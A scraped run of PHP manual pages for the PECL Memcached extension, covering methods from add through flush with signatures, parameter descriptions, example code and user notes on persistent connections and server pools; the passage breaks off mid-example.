  • Memcached::appendByKey — Append data to an existing item on a specific server
  • Memcached::cas — Compare and swap an item
  • Memcached::casByKey — Compare and swap an item on a specific server
  • Memcached::__construct — Create a Memcached instance
  • Memcached::decrement — Decrement numeric item's value
  • Memcached::decrementByKey — Decrement numeric item's value, stored on a specific server
  • Memcached::delete — Delete an item
  • Memcached::deleteByKey — Delete an item from a specific server
  • Memcached::deleteMulti — Delete multiple items
  • Memcached::deleteMultiByKey — Delete multiple items from a specific server
  • Memcached::fetch — Fetch the next result
  • Memcached::fetchAll — Fetch all the remaining results
  • Memcached::flush — Invalidate all items in the cache
  • Memcached::get — Retrieve an item
  • Memcached::getAllKeys — Gets the keys stored on all the servers
  • Memcached::getByKey — Retrieve an item from a specific server
  • Memcached::getDelayed — Request multiple items
  • Memcached::getDelayedByKey — Request multiple items from a specific server
  • Memcached::getMulti — Retrieve multiple items
  • Memcached::getMultiByKey — Retrieve multiple items from a specific server
  • Memcached::getOption — Retrieve a Memcached option value
  • Memcached::getResultCode — Return the result code of the last operation
  • Memcached::getResultMessage — Return the message describing the result of the last operation
  • Memcached::getServerByKey — Map a key to a server
  • Memcached::getServerList — Get the list of the servers in the pool
  • Memcached::getStats — Get server pool statistics
  • Memcached::getVersion — Get server pool version info
  • Memcached::increment — Increment numeric item's value
  • Memcached::incrementByKey — Increment numeric item's value, stored on a specific server
  • Memcached::isPersistent — Check if a persitent connection to memcache is being used
  • Memcached::isPristine — Check if the instance was recently created
  • Memcached::prepend — Prepend data to an existing item
  • Memcached::prependByKey — Prepend data to an existing item on a specific server
  • Memcached::quit — Close any open connections
  • Memcached::replace — Replace the item under an existing key
  • Memcached::replaceByKey — Replace the item under an existing key on a specific server
  • Memcached::resetServerList — Clears all servers from the server list
  • Memcached::set — Store an item
  • Memcached::setByKey — Store an item on a specific server
  • Memcached::setMulti — Store multiple items
  • Memcached::setMultiByKey — Store multiple items on a specific server
  • Memcached::setOption — Set a Memcached option
  • Memcached::setOptions — Set Memcached options
  • Memcached::setSaslAuthData — Set the credentials to use for authentication
  • Memcached::touch — Set a new expiration on an item
  • Memcached::touchByKey — Set a new expiration on an item on a specific server

User Contributed Notes

There are no user contributed notes for this page.


Add an item under a new key

  • « Memcached
  • Memcached::addByKey »
  • PHP Manual
  • Memcached
  • Add an item under a new key

Memcached::add

(PECL memcached >= 0.1.0)

Memcached::add — Add an item under a new key

Description

public bool Memcached::add ( string $key , mixed $value [, int $expiration ] )

Memcached::add() is similar to Memcached::set(), but the operation fails if the key already exists on the server.

Parameters

key

The key under which to store the value.

value

The value to store.

expiration

The expiration time, defaults to 0. See Expiration Times for more info.

Return Values

Returns TRUE on success or FALSE on failure. The Memcached::getResultCode() will return Memcached::RES_NOTSTORED if the key already exists.

See Also

  • Memcached::addByKey() - Add an item under a new key on a specific server
  • Memcached::set() - Store an item
  • Memcached::replace() - Replace the item under an existing key

User Contributed Notes

There are no user contributed notes for this page.


Add an item under a new key on a specific server

  • « Memcached::add
  • Memcached::addServer »
  • PHP Manual
  • Memcached
  • Add an item under a new key on a specific server

Memcached::addByKey

(PECL memcached >= 0.1.0)

Memcached::addByKey — Add an item under a new key on a specific server

Description

public bool Memcached::addByKey ( string $server_key , string $key , mixed $value [, int $expiration ] )

Memcached::addByKey() is functionally equivalent to Memcached::add(), except that the free-form server_key can be used to map the key to a specific server. This is useful if you need to keep a bunch of related keys on a certain server.

Parameters

server_key

The key identifying the server to store the value on or retrieve it from. Instead of hashing on the actual key for the item, we hash on the server key when deciding which memcached server to talk to. This allows related items to be grouped together on a single server for efficiency with multi operations.

key

The key under which to store the value.

value

The value to store.

expiration

The expiration time, defaults to 0. See Expiration Times for more info.

Return Values

Returns TRUE on success or FALSE on failure. The Memcached::getResultCode() will return Memcached::RES_NOTSTORED if the key already exists.

See Also

  • Memcached::add() - Add an item under a new key
  • Memcached::set() - Store an item
  • Memcached::replace() - Replace the item under an existing key

User Contributed Notes

There are no user contributed notes for this page.


Add a server to the server pool

  • « Memcached::addByKey
  • Memcached::addServers »
  • PHP Manual
  • Memcached
  • Add a server to the server pool

Memcached::addServer

(PECL memcached >= 0.1.0)

Memcached::addServer — Add a server to the server pool

Description

public bool Memcached::addServer ( string $host , int $port [, int $weight = 0 ] )

Memcached::addServer() adds the specified server to the server pool. No connection is established to the server at this time, but if you are using consistent key distribution option (via Memcached::DISTRIBUTION_CONSISTENT or Memcached::OPT_LIBKETAMA_COMPATIBLE), some of the internal data structures will have to be updated. Thus, if you need to add multiple servers, it is better to use Memcached::addServers() as the update then happens only once.

The same server may appear multiple times in the server pool, because no duplication checks are made. This is not advisable; instead, use the weight option to increase the selection weighting of this server.

Parameters

host

The hostname of the memcache server. If the hostname is invalid, data-related operations will set Memcached::RES_HOST_LOOKUP_FAILURE result code. As of version 2.0.0b1, this parameter may also specify the path of a unix socket filepath ex. /path/to/memcached.sock to use UNIX domain sockets, in this case port must also be set to 0.

port

The port on which memcache is running. Usually, this is 11211. As of version 2.0.0b1, set this parameter to 0 when using UNIX domain sockets.

weight

The weight of the server relative to the total weight of all the servers in the pool. This controls the probability of the server being selected for operations. This is used only with consistent distribution option and usually corresponds to the amount of memory available to memcache on that server.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Memcached::addServer() example

<?php
$m = new Memcached();

/* Add 2 servers, so that the second one
   is twice as likely to be selected. */
$m->addServer('mem1.domain.com', 11211, 33);
$m->addServer('mem2.domain.com', 11211, 67);
?>

See Also

  • Memcached::addServers() - Add multiple servers to the server pool
  • Memcached::resetServerList() - Clears all servers from the server list

User Contributed Notes

Dave 20-Nov-2012 07:42
As of version 2.0.0b1 you can use Unix socket.

<?php
$m = new Memcached();
$m->addServer('/path/to/socket',0);
?>

Not to be confused with Memcache that use 'unix:///path/to/socket'
mbarriolinares at gmail dot com 11-Sep-2012 03:55
Important to not call ->addServers() every run -- only call it if no servers exist (check getServerList() ); otherwise, since addServers() does not check for dups, it will let you add the same server again and again and again, resultings in hundreds if not thousands of connections to the MC daemon. Specially when using FastCGI.

Example:

<?php
class Cache {
        private $id;
        private $obj;

        function __construct($id){
                $this->id = $id;
                $this->obj = new Memcached($id);
        }

        public function connect($host , $port){
                $servers = $this->obj->getServerList();
                if(is_array($servers)) {
                        foreach ($servers as $server)
                                if($server['host'] == $host and $server['port'] == $port)
                                        return true;
                }
                return $this->obj->addServer($host , $port);
        }

}
?>
Robbie De Lise 23-Aug-2011 07:08
On my Debian Squeeze system I was getting WRITE FAILURE errors. After debugging and finally tcpdump it seems that the problem was me adding the server 'localhost', which resolved to '::1' (ipv6) while the default memcached server on debian only listens to '127.0.0.1' (ipv4). DNS automatically prefers ipv6 over ipv4.

I added the server '127.0.0.1' instead and everything worked. You could also disable ipv6 or have memcached listen on ::1


Add multiple servers to the server pool

  • « Memcached::addServer
  • Memcached::append »
  • PHP Manual
  • Memcached
  • Add multiple servers to the server pool

Memcached::addServers

(PECL memcached >= 0.1.1)

Memcached::addServers — Add multiple servers to the server pool

Description

public bool Memcached::addServers ( array $servers )

Memcached::addServers() adds servers to the server pool. Each entry in servers is supposed to be an array containing hostname, port, and, optionally, weight of the server. No connection is established to the servers at this time.

The same server may appear multiple times in the server pool, because no duplication checks are made. This is not advisable; instead, use the weight option to increase the selection weighting of this server.

Parameters

array

Array of the servers to add to the pool.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Memcached::addServers() example

<?php
$m = new Memcached();

$servers = array(
    array('mem1.domain.com', 11211, 33),
    array('mem2.domain.com', 11211, 67)
);
$m->addServers($servers);
?>

See Also

  • Memcached::addServer() - Add a server to the server pool
  • Memcached::resetServerList() - Clears all servers from the server list

User Contributed Notes

Michael Brenden 17-Feb-2011 12:27
See the note for __construct()

Important to not call ->addServers() every run -- only call it if no servers exist (check getServerList() ); otherwise, since addServers() does not check for dups, it will let you add the same server again and again and again, resultings in hundreds if not thousands of connections to the MC daemon.


Append data to an existing item

  • « Memcached::addServers
  • Memcached::appendByKey »
  • PHP Manual
  • Memcached
  • Append data to an existing item

Memcached::append

(PECL memcached >= 0.1.0)

Memcached::append — Append data to an existing item

Description

public bool Memcached::append ( string $key , string $value )

Memcached::append() appends the given value string to the value of an existing item. The reason that value is forced to be a string is that appending mixed types is not well-defined.

Note:

If the Memcached::OPT_COMPRESSION is enabled, the operation will fail and a warning will be issued, because appending compressed data to a value that is potentially already compressed is not possible.

Parameters

key

The key under which to store the value.

value

The string to append.

Return Values

Returns TRUE on success or FALSE on failure. The Memcached::getResultCode() will return Memcached::RES_NOTSTORED if the key does not exist.

Examples

Example #1 Memcached::append() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);
$m->setOption(Memcached::OPT_COMPRESSION, false);

$m->set('foo', 'abc');
$m->append('foo', 'def');
var_dump($m->get('foo'));
?>

The above example will output:

string(6) "abcdef"

See Also

  • Memcached::appendByKey() - Append data to an existing item on a specific server
  • Memcached::prepend() - Prepend data to an existing item

User Contributed Notes

There are no user contributed notes for this page.


Append data to an existing item on a specific server

  • « Memcached::append
  • Memcached::cas »
  • PHP Manual
  • Memcached
  • Append data to an existing item on a specific server

Memcached::appendByKey

(PECL memcached >= 0.1.0)

Memcached::appendByKey — Append data to an existing item on a specific server

Description

public bool Memcached::appendByKey ( string $server_key , string $key , string $value )

Memcached::appendByKey() is functionally equivalent to Memcached::append(), except that the free-form server_key can be used to map the key to a specific server.

Parameters

server_key

The key identifying the server to store the value on or retrieve it from. Instead of hashing on the actual key for the item, we hash on the server key when deciding which memcached server to talk to. This allows related items to be grouped together on a single server for efficiency with multi operations.

key

The key under which to store the value.

value

The string to append.

Return Values

Returns TRUE on success or FALSE on failure. The Memcached::getResultCode() will return Memcached::RES_NOTSTORED if the key does not exist.

See Also

  • Memcached::append() - Append data to an existing item
  • Memcached::prepend() - Prepend data to an existing item

User Contributed Notes

There are no user contributed notes for this page.


Compare and swap an item

  • « Memcached::appendByKey
  • Memcached::casByKey »
  • PHP Manual
  • Memcached
  • Compare and swap an item

Memcached::cas

(PECL memcached >= 0.1.0)

Memcached::cas — Compare and swap an item

Description

public bool Memcached::cas ( float $cas_token , string $key , mixed $value [, int $expiration ] )

Memcached::cas() performs a "check and set" operation, so that the item will be stored only if no other client has updated it since it was last fetched by this client. The check is done via the cas_token parameter which is a unique 64-bit value assigned to the existing item by memcache. See the documentation for Memcached::get*() methods for how to obtain this token. Note that the token is represented as a double due to the limitations of PHP's integer space.

Parameters

cas_token

Unique value associated with the existing item. Generated by memcache.

key

The key under which to store the value.

value

The value to store.

expiration

The expiration time, defaults to 0. See Expiration Times for more info.

Return Values

Returns TRUE on success or FALSE on failure. The Memcached::getResultCode() will return Memcached::RES_DATA_EXISTS if the item you are trying to store has been modified since you last fetched it.

Examples

Example #1 Memcached::cas() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

do {
    /* fetch IP list and its token */
    $ips = $m->get('ip_block', null, $cas);
    /* if list doesn't exist yet, create it and do
       an atomic add which will fail if someone else already added it */
    if ($m->getResultCode() == Memcached::RES_NOTFOUND) {
        $ips = array($_SERVER['REMOTE_ADDR']);
        $m->add('ip_block', $ips);
    /* otherwise, add IP to the list and store via compare-and-swap
       with the token, which will fail if someone else updated the list */
    } else {
        $ips[] = $_SERVER['REMOTE_ADDR'];
        $m->cas($cas, 'ip_block', $ips);
    }
} while ($m->getResultCode() != Memcached::RES_SUCCESS);

?>

See Also

  • Memcached::casByKey() - Compare and swap an item on a specific server

User Contributed Notes

abodera at gmail dot com 27-Apr-2010 10:19
Watch out!

When using binary protocol, the expected result after cas() is 21 (Memcached::RES_END).

For example, to make the above example #1 work with binary protocol, use the following:
<?php
$m = new Memcached();
$m->addServer('localhost', 11211);
$m->setOption(Memcached::OPT_BINARY_PROTOCOL,true)

// [...]

    } else {
        $ips[] = $_SERVER['REMOTE_ADDR'];
        $m->cas($cas, 'ip_block', $ips);
    }
} while ($m->getResultCode() != Memcached::RES_END);
?>


Compare and swap an item on a specific server

  • « Memcached::cas
  • Memcached::__construct »
  • PHP Manual
  • Memcached
  • Compare and swap an item on a specific server

Memcached::casByKey

(PECL memcached >= 0.1.0)

Memcached::casByKey — Compare and swap an item on a specific server

Description

public bool Memcached::casByKey ( float $cas_token , string $server_key , string $key , mixed $value [, int $expiration ] )

Memcached::casByKey() is functionally equivalent to Memcached::cas(), except that the free-form server_key can be used to map the key to a specific server. This is useful if you need to keep a bunch of related keys on a certain server.

Parameters

cas_token

Unique value associated with the existing item. Generated by memcache.

server_key

The key identifying the server to store the value on or retrieve it from. Instead of hashing on the actual key for the item, we hash on the server key when deciding which memcached server to talk to. This allows related items to be grouped together on a single server for efficiency with multi operations.

key

The key under which to store the value.

value

The value to store.

expiration

The expiration time, defaults to 0. See Expiration Times for more info.

Return Values

Returns TRUE on success or FALSE on failure. The Memcached::getResultCode() will return Memcached::RES_DATA_EXISTS if the item you are trying to store has been modified since you last fetched it.

See Also

  • Memcached::cas() - Compare and swap an item

User Contributed Notes

There are no user contributed notes for this page.


Create a Memcached instance

  • « Memcached::casByKey
  • Memcached::decrement »
  • PHP Manual
  • Memcached
  • Create a Memcached instance

Memcached::__construct

(PECL memcached >= 0.1.0)

Memcached::__construct — Create a Memcached instance

Description

public Memcached::__construct ([ string $persistent_id ] )

Creates a Memcached instance representing the connection to the memcache servers.

Parameters

persistent_id

By default the Memcached instances are destroyed at the end of the request. To create an instance that persists between requests, use persistent_id to specify a unique ID for the instance. All instances created with the same persistent_id will share the same connection.

Return Values

A Memcached object.

Examples

Example #1 Creating a Memcached object

<?php
/* Create a regular instance */
$m = new Memcached();
echo get_class($m);

/* Create a persistent instance */
$m2 = new Memcached('story_pool');
$m3 = new Memcached('story_pool');

/* now $m2 and $m3 share the same connection */
?>

User Contributed Notes

kangzjnet at gmail dot com 21-Jan-2013 06:29
To enable automatic failover, you have to set OPT_REMOVE_FAILED_SERVERS option, which is supported by php-memcached 2.0.0b2 or above.

Here is the example,
<?php
$memcache = new Memcached ( 'a_mem_pool' );
$ss = $memcache->getServerList ();
if (empty ( $ss )) {
$memcache->setOption(Memcached::OPT_RECV_TIMEOUT, 1000);
$memcache->setOption(Memcached::OPT_SEND_TIMEOUT, 1000);
$memcache->setOption(Memcached::OPT_TCP_NODELAY, true);
$memcache->setOption(Memcached::OPT_SERVER_FAILURE_LIMIT, 50);
$memcache->setOption(Memcached::OPT_CONNECT_TIMEOUT, 500);
$memcache->setOption(Memcached::OPT_RETRY_TIMEOUT, 300);
$memcache->setOption(Memcached::OPT_DISTRIBUTION, Memcached::DISTRIBUTION_CONSISTENT);
$memcache->setOption(Memcached::OPT_REMOVE_FAILED_SERVERS, true);
$memcache->setOption(Memcached::OPT_LIBKETAMA_COMPATIBLE, true);
$memcache->addServer ( '10.10.1.75', 11211, 1 );
$memcache->addServer ( '10.10.1.76', 11211, 1 );
$memcache->addServer ( '10.10.1.77', 11211, 1 );
}
?>
enknamel AT gmail DOT com 13-Dec-2011 11:53
This was causing me to tear my hair out since I listened to the comments posted here.

If you enable persistence, the options you set will persist as well AND certain options if you set them with persistence enabled WILL CLOSE ALL YOUR PERSISTED CONNECTIONS. This is a part of libmemcached that the memcached extensions is built against. You can verify this by running strace.

So this is what you should do:

<?php

$mem = new Memcached($myPoolId);

if(empty($mem->getServerList())) {
    //This code block will only execute if we are setting up a new EG(persistent_list) entry
    $mem->setOption(Memcached::OPT_RECV_TIMEOUT, 1000);
    $mem->setOption(Memcached::OPT_SEND_TIMEOUT, 3000);
    $mem->setOption(Memcached::OPT_TCP_NODELAY, true);
    $mem->setOption(Memcached::OPT_PREFIX_KEY, "md_");
    $mem->addServer($myMemcahceIp, $myMemcachePort);
}

?>
clancy hood at gmail dot com 04-Jun-2011 10:32
If you're wanting to get started with Memcached on a relatively small project but need some scalability then it can make sense to allow $persistent_id to also denote both a key prefix and a server set which you define yourself.  This keeps both key separation and allocation of data sets to certain server(s) incredibly simple throughout the project's life, without hampering any of your options.

<?php

    // Here is the array which we will add to in the future
    $GLOBALS['memcached-sets'] = array (
        '_' => array (
            array('localhost', 11211)
        )
    );

    define('DEFAULT_MEMCACHED_SET', '_');

    function mcache( $persistent_id=DEFAULT_MEMCACHED_SET ) {

        // one instantiation per-connection per-request
        static $memcached_instances = array();

        if( array_key_exists($persistent_id, $memcached_instances)) {
            $instance = $memcached_instances[$persistent_id];
        }else{
            $instance = new Memcached($persistent_id);
            $instance->setOption(Memcached::OPT_PREFIX_KEY, $persistent_id);
            $instance->setOption(Memcached::OPT_LIBKETAMA_COMPATIBLE, true); // advisable option

            // Add servers if no connections listed. Get server set by $persistent_id or use default set.
            // In a production environment with multiple server sets you may wish to prevent typos from silently adding data
            // to the default pool, in which case return an error on no match instead of defaulting
            if( !count($instance->getServerList()) ) {
                $servers = array_key_exists($persistent_id, $GLOBALS['memcached-sets'])
                    ? $GLOBALS['memcached-sets'][$persistent_id]
                    : $GLOBALS['memcached-sets'][DEFAULT_MEMCACHED_SET];
                $instance->addServers($servers);
            }

            $memcached_instances[$persistent_id] = $instance;
        }
        return $instance;
    }

    // simple example
    mcache()->set('foo', 'bar');
    mcache('myset')->set('foo', 'baz');

    var_dump(mcache()->get('foo'), mcache('myset')->get('foo'));

?>

string(3) "bar"
string(3) "baz"

Just remember to keep your $persistent_ids short as they infringe upon your maximum key length.  Happy coding! :)
Tobias 17-Feb-2011 04:24
Note that with this Memcached interface, if one or more underlying memcached daemons are down, suffering high network latency (over 1 second by default), or have crashed, then there still will be no warning, no error, no notice.  Everything will appear to work correctly, you just won't get proper results back.
Tobias 17-Feb-2011 12:48
Not positive, but it seems like the __construct() creates an instance of Memcache() class that lives (and stays alive) in at least the child Apache procs, if not the main Apache proc.

This (seems to) mean that Memcache daemons added to the server "pool" (via ->addServers() ) stay remembered.

This is why you do not want to call ->addServers() every time your script runs, because ->addServers() does not check for dups and will add hundreds or thousands of connections to the memcached daemon proc from the Apache proc(s).

One side effect is that any other scripts (even across different website domains) can also add to your server "pool" (if they know the server pool name, or if they can get it from the memcached daemon itself (not sure if/how this is possible), or if you or your team has coded several sites using the same server pool (i.e., new Memcached( 'same-server-pool-name' ) ).  This may present a security hole.
jeroen at 4worx dot com 16-Nov-2009 11:51
Using multiple memcached instances with options in combination with persistent connections might be confusing:

<?php

$a = new Memcached('memcached_pool');
$a->setOption(Memcached::OPT_COMPRESSION, false);

$b = new Memcached('memcached_pool');
$b->setOption(Memcached::OPT_COMPRESSION, true);

$a->add('key', 'some data');

?>

You might think that connection $a will store everything uncompressed, but this is not the case.
The persistent connection options are changed by the second object creation.
tschundler at gmail dot com 15-Sep-2009 11:43
When using persistent connections, it is important to not re-add servers.

This is what you do not want to do:
<?php
$mc = new Memcached('mc');
$mc->setOption(Memcached::OPT_LIBKETAMA_COMPATIBLE, true);
$mc->addServers(array(
    array('mc1.example.com',11211),
    array('mc2.example.com',11211),
));
?>
Every time the page is loaded those servers will be appended to the list resulting in many simultaneous open connections to the same server. The addServer/addServers functions to not check for existing references to the specified servers.

A better approach is something like:
<?php
$mc = new Memcached('mc');
$mc->setOption(Memcached::OPT_LIBKETAMA_COMPATIBLE, true);
if (!count($mc->getServerList())) {
    $mc->addServers(array(
        array('mc1.example.com',11211),
        array('mc2.example.com',11211),
    ));
}
?>


Decrement numeric item's value

  • « Memcached::__construct
  • Memcached::decrementByKey »
  • PHP Manual
  • Memcached
  • Decrement numeric item's value

Memcached::decrement

(PECL memcached >= 0.1.0)

Memcached::decrement — Decrement numeric item's value

Description

public int Memcached::decrement ( string $key [, int $offset = 1 [, int $initial_value = 0 [, int $expiry = 0 ]]] )

Memcached::decrement() decrements a numeric item's value by the specified offset. If the item's value is not numeric, an error will result. If the operation would decrease the value below 0, the new value will be 0. Memcached::decrement() will set the item to the initial_value parameter if the key doesn't exist.

Parameters

key

The key of the item to decrement.

offset

The amount by which to decrement the item's value.

initial_value

The value to set the item to if it doesn't currently exist.

expiry

The expiry time to set on the item.

Return Values

Returns item's new value on success or FALSE on failure.

Examples

Example #1 Memcached::decrement() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('counter', 5);
$n = $m->decrement('counter');
var_dump($n);

$n = $m->decrement('counter', 10);
var_dump($n);

var_dump($m->get('counter'));

$m->set('counter', 'abc');
$n = $m->increment('counter');
// ^ will fail due to item value not being numeric
var_dump($n);
?>

The above example will output:

int(4)
int(0)
int(0)
bool(false)

See Also

  • Memcached::increment() - Increment numeric item's value
  • Memcached::incrementByKey() - Increment numeric item's value, stored on a specific server
  • Memcached::decrementByKey() - Decrement numeric item's value, stored on a specific server

User Contributed Notes

Pramod Patil 12-Sep-2014 03:48
Found possible bug :
decrement fails and returns -1  when memcached::OPT_BINARY_PROTOCOL is set to true.

tested on PECL Memcached 2.1.0 and libmemcached version 1.0.8
Pramod Patil 08-Sep-2014 08:54
decrement will not change TTL of the stored key/value.
jbaginski 18-Jan-2013 04:31
PECL memcached < 0.2.0

public int Memcached::decrement ( string $key [, int $offset = 1 ] )


Decrement numeric item's value, stored on a specific server

  • « Memcached::decrement
  • Memcached::delete »
  • PHP Manual
  • Memcached
  • Decrement numeric item's value, stored on a specific server

Memcached::decrementByKey

(PECL memcached >= 2.0.0)

Memcached::decrementByKey — Decrement numeric item's value, stored on a specific server

Description

public int Memcached::decrementByKey ( string $server_key , string $key [, int $offset = 1 [, int $initial_value = 0 [, int $expiry = 0 ]]] )

Memcached::decrementByKey() decrements a numeric item's value by the specified offset. If the item's value is not numeric, an error will result. If the operation would decrease the value below 0, the new value will be 0. Memcached::decrementByKey() will set the item to the initial_value parameter if the key doesn't exist.

Parameters

server_key

The key identifying the server to store the value on or retrieve it from. Instead of hashing on the actual key for the item, we hash on the server key when deciding which memcached server to talk to. This allows related items to be grouped together on a single server for efficiency with multi operations.

key

The key of the item to decrement.

offset

The amount by which to decrement the item's value.

initial_value

The value to set the item to if it doesn't currently exist.

expiry

The expiry time to set on the item.

Return Values

Returns item's new value on success or FALSE on failure.

See Also

  • Memcached::decrement() - Decrement numeric item's value
  • Memcached::increment() - Increment numeric item's value
  • Memcached::incrementByKey() - Increment numeric item's value, stored on a specific server

User Contributed Notes

There are no user contributed notes for this page.


Delete an item

  • « Memcached::decrementByKey
  • Memcached::deleteByKey »
  • PHP Manual
  • Memcached
  • Delete an item

Memcached::delete

(PECL memcached >= 0.1.0)

Memcached::delete — Delete an item

Description

public bool Memcached::delete ( string $key [, int $time = 0 ] )

Memcached::delete() deletes the key from the server. The time parameter is the amount of time in seconds (or Unix time until which) the client wishes the server to refuse add and replace commands for this key. For this amount of time, the item is put into a delete queue, which means that it won't possible to retrieve it by the get command, but add and replace command with this key will also fail (the set command will succeed, however). After the time passes, the item is finally deleted from server memory. The parameter time defaults to 0 (which means that the item will be deleted immediately and further storage commands with this key will succeed).

Parameters

key

The key to be deleted.

time

The amount of time the server will wait to delete the item.

Return Values

Returns TRUE on success or FALSE on failure. The Memcached::getResultCode() will return Memcached::RES_NOTFOUND if the key does not exist.

Examples

Example #1 Memcached::delete() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->delete('key1');
?>

See Also

  • Memcached::deleteByKey() - Delete an item from a specific server
  • Memcached::deleteMulti() - Delete multiple items

User Contributed Notes

Pramod Patil 12-Sep-2014 04:09
--For PECL memcached 2.10--
delete used with second argument 'time' returns false and set the error code and message for invalid arguments unless used without Memcached::OPT_BINARY_PROTOCOL.

getResultCode() and getResultMessage() returns  38 and INVALID ARGUMENTS respectively.


Delete an item from a specific server

  • « Memcached::delete
  • Memcached::deleteMulti »
  • PHP Manual
  • Memcached
  • Delete an item from a specific server

Memcached::deleteByKey

(PECL memcached >= 0.1.0)

Memcached::deleteByKey — Delete an item from a specific server

Description

public bool Memcached::deleteByKey ( string $server_key , string $key [, int $time = 0 ] )

Memcached::deleteByKey() is functionally equivalent to Memcached::delete(), except that the free-form server_key can be used to map the key to a specific server.

Parameters

server_key

The key identifying the server to store the value on or retrieve it from. Instead of hashing on the actual key for the item, we hash on the server key when deciding which memcached server to talk to. This allows related items to be grouped together on a single server for efficiency with multi operations.

key

The key to be deleted.

time

The amount of time the server will wait to delete the item.

Return Values

Returns TRUE on success or FALSE on failure. The Memcached::getResultCode() will return Memcached::RES_NOTFOUND if the key does not exist.

See Also

  • Memcached::delete() - Delete an item
  • Memcached::deleteMulti() - Delete multiple items
  • Memcached::deleteMultiByKey() - Delete multiple items from a specific server

User Contributed Notes

There are no user contributed notes for this page.


Delete multiple items

  • « Memcached::deleteByKey
  • Memcached::deleteMultiByKey »
  • PHP Manual
  • Memcached
  • Delete multiple items

Memcached::deleteMulti

(PECL memcached >= 2.0.0)

Memcached::deleteMulti — Delete multiple items

Description

public bool Memcached::deleteMulti ( array $keys [, int $time = 0 ] )

Memcached::deleteMulti() deletes the array of keys from the server. The time parameter is the amount of time in seconds (or Unix time until which) the client wishes the server to refuse add and replace commands for these keys. For this amount of time, the item is put into a delete queue, which means that it won't be possible to retrieve it by the get command, but add and replace command with these keys will also fail (the set command will succeed, however). After the time passes, the item is finally deleted from server memory. The parameter time defaults to 0 (which means that the item will be deleted immediately and further storage commands with these keys will succeed).

Parameters

keys

The keys to be deleted.

time

The amount of time the server will wait to delete the items.

Return Values

Returns TRUE on success or FALSE on failure. The Memcached::getResultCode() will return Memcached::RES_NOTFOUND if the key does not exist.

See Also

  • Memcached::delete() - Delete an item
  • Memcached::deleteByKey() - Delete an item from a specific server
  • Memcached::deleteMultiByKey() - Delete multiple items from a specific server

User Contributed Notes

There are no user contributed notes for this page.


Delete multiple items from a specific server

  • « Memcached::deleteMulti
  • Memcached::fetch »
  • PHP Manual
  • Memcached
  • Delete multiple items from a specific server

Memcached::deleteMultiByKey

(PECL memcached >= 2.0.0)

Memcached::deleteMultiByKey — Delete multiple items from a specific server

Description

public bool Memcached::deleteMultiByKey ( string $server_key , array $keys [, int $time = 0 ] )

Memcached::deleteMultiByKey() is functionally equivalent to Memcached::deleteMulti(), except that the free-form server_key can be used to map the keys to a specific server.

Parameters

server_key

The key identifying the server to store the value on or retrieve it from. Instead of hashing on the actual key for the item, we hash on the server key when deciding which memcached server to talk to. This allows related items to be grouped together on a single server for efficiency with multi operations.

keys

The keys to be deleted.

time

The amount of time the server will wait to delete the items.

Return Values

Returns TRUE on success or FALSE on failure. The Memcached::getResultCode() will return Memcached::RES_NOTFOUND if the key does not exist.

See Also

  • Memcached::delete() - Delete an item
  • Memcached::deleteByKey() - Delete an item from a specific server
  • Memcached::deleteMulti() - Delete multiple items

User Contributed Notes

There are no user contributed notes for this page.


Fetch the next result

  • « Memcached::deleteMultiByKey
  • Memcached::fetchAll »
  • PHP Manual
  • Memcached
  • Fetch the next result

Memcached::fetch

(PECL memcached >= 0.1.0)

Memcached::fetch — Fetch the next result

Description

public array Memcached::fetch ( void )

Memcached::fetch() retrieves the next result from the last request.

Parameters

This function has no parameters.

Return Values

Returns the next result or FALSE otherwise. The Memcached::getResultCode() will return Memcached::RES_END if result set is exhausted.

Examples

Example #1 Memcached::fetch() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('int', 99);
$m->set('string', 'a simple string');
$m->set('array', array(11, 12));

$m->getDelayed(array('int', 'array'), true);
while ($result = $m->fetch()) {
    var_dump($result);
}
?>

The above example will output something similar to:

array(3) {
  ["key"]=>
  string(3) "int"
  "value"]=>
  int(99)
  ["cas"]=>
  float(2363)
}
array(3) {
  ["key"]=>
  string(5) "array"
  ["value"]=>
  array(2) {
    [0]=>
    int(11)
    [1]=>
    int(12)
  }
  ["cas"]=>
  float(2365)
}

See Also

  • Memcached::fetchAll() - Fetch all the remaining results
  • Memcached::getDelayed() - Request multiple items

User Contributed Notes

There are no user contributed notes for this page.


Fetch all the remaining results

  • « Memcached::fetch
  • Memcached::flush »
  • PHP Manual
  • Memcached
  • Fetch all the remaining results

Memcached::fetchAll

(PECL memcached >= 0.1.0)

Memcached::fetchAll — Fetch all the remaining results

Description

public array Memcached::fetchAll ( void )

Memcached::fetchAll() retrieves all the remaining results from the last request.

Parameters

This function has no parameters.

Return Values

Returns the results or FALSE on failure. Use Memcached::getResultCode() if necessary.

Examples

Example #1 Memcached::getDelayed() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('int', 99);
$m->set('string', 'a simple string');
$m->set('array', array(11, 12));

$m->getDelayed(array('int', 'array'), true);
var_dump($m->fetchAll());
?>

The above example will output:

array(2) {
  [0]=>
  array(3) {
    ["key"]=>
    string(3) "int"
    ["value"]=>
    int(99)
    ["cas"]=>
    float(2363)
  }
  [1]=>
  array(3) {
    ["key"]=>
    string(5) "array"
    ["value"]=>
    array(2) {
      [0]=>
      int(11)
      [1]=>
      int(12)
    }
    ["cas"]=>
    float(2365)
  }
}

See Also

  • Memcached::fetch() - Fetch the next result
  • Memcached::getDelayed() - Request multiple items

User Contributed Notes

There are no user contributed notes for this page.


Invalidate all items in the cache

  • « Memcached::fetchAll
  • Memcached::get »
  • PHP Manual
  • Memcached
  • Invalidate all items in the cache

Memcached::flush

(PECL memcached >= 0.1.0)

Memcached::flush — Invalidate all items in the cache

Description

public bool Memcached::flush ([ int $delay = 0 ] )

Memcached::flush() invalidates all existing cache items immediately (by default) or after the delay specified. After invalidation none of the items will be returned in response to a retrieval command (unless it's stored again under the same key after Memcached::flush() has invalidated the items). The flush does not actually free all the memory taken up by the existing items; that will happen gradually as new items are stored.

Parameters

delay

Number of seconds to wait before invalidating the items.

Return Values

Returns TRUE on success or FALSE on failure. Use Memcached::getResultCode() if necessary.

Examples

Example #1 Memcached::flush() example

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

/* flush all items in 10 seconds */
